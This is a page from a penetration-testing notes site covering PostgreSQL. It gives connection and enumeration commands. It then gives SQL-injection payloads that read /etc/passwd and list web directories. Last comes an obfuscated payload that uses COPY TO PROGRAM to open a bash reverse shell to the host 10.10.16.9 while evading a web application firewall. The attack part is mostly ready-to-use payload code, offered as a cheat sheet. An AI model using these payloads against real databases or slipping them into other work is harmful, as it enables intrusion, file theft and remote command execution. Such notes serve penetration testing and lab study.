🪬
Gzzcoo Pentest Notes
HomeWalkthroughs
  • Home
  • ACTIVE DIRECTORY PENTESTING
    • Initial Enumeration
      • Enumerating users
    • Abusing Active Directory ACLs/ACEs
      • GenericWrite
      • GenericAll
      • WriteDACL
      • ReadLAPSPassword
      • ReadGMSAPassword
      • ForceChangePassword
      • WriteGPLink
    • Active Directory Certificate Services (ADCS)
    • Attacking Kerberos
    • BloodHound
    • Tools
      • bloodyAD
      • Kerbrute
      • Impacket
      • ldapsearch
      • PowerView.py
  • WINDOWS PENTESTING
    • Windows Privilege Escalation
      • Abusing Tokens
      • AD Recycle Bin Group
      • DnsAdmins to DomainAdmin
      • Dumping credentials
        • Credential Hunting
        • LSASS
        • NTDS.dit
        • SAM and SYSTEM
      • Server Operators Group
  • Windows Lateral Movement
    • Pass the Hash (PtH)
    • Pass the Ticket (PtT)
      • From Windows
      • From Linux
    • Pass the Cert (PtC)
  • File Transfer
    • PowerShell
    • Remote Desktop Protocol (RDP)
    • LOLBAS
    • Protected File Transfers
    • Catching Files over HTTP/S
    • Detection and Evading Detection
  • Reverse Shell
  • PowerShell
  • LINUX PENTESTING
    • Basic Enumeration
    • Linux Privilege Escalation
  • File Transfer
    • Protected File Transfers
    • Catching Files over HTTP/S
    • GTFOBins
  • Shells
  • Reverse Shell
  • Credential Hunting
  • Passwd, Shadow & Opasswd
  • NETWORK SERVICES PENTESTING
    • FTP Port (21)
    • SSH Port (22)
    • DNS Port (53)
    • SMB Port (139, 445)
    • MSSQL Port (1433)
    • MySQL Port (3306)
    • RDP Port (3389)
  • PostgreSQL Port (5432, 5433)
  • Attacking Email Services
  • Pivoting, Tunneling and Port Forwarding
  • WEB PENTESTING
    • Local File Inclusion (LFI)
  • LaTeX Injection
  • Cypher Injection
  • Cross-Site Scripting (XSS)
  • TOOLS
    • John The Ripper
    • NetExec
    • Smbmap
    • Evil-WinRM
  • REVERSING
    • Windows executables and DLL's
    • Android APK
Con tecnología de GitBook
LogoLogo

© 2025 Gzzcoo Corp.

En esta página
  • How to connect
  • Enumeration
  • Read File
  • List Directory
  • Reverse Shell WAF Bypass through SQLI

¿Te fue útil?

Exportar como PDF

PostgreSQL Port (5432, 5433)

How to connect

psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection

Enumeration

List all databases

\l

Switch to a database

\c <database_name>

List tables in the current database:

\dt

Extract data from a specific table:

SELECT * FROM <table_name>;

Read File

''; SELECT pg_read_file('/etc/passwd',0,1000);

List Directory

''; SELECT pg_ls_dir('/var/www/');

Reverse Shell WAF Bypass through SQLI

'';DO $reverse$
DECLARE
    s text;
BEGIN
    s := CHR(67)||CHR(79)||CHR(80)||CHR(89)||
         ' (SELECT '''') TO PROGRAM ' ||
         quote_literal('bash -c "bash -i >& /dev/tcp/10.10.16.9/443 0>&1"');
    EXECUTE s;
END $reverse$;
AnteriorRDP Port (3389)SiguienteAttacking Email Services

Última actualización hace 19 días

¿Te fue útil?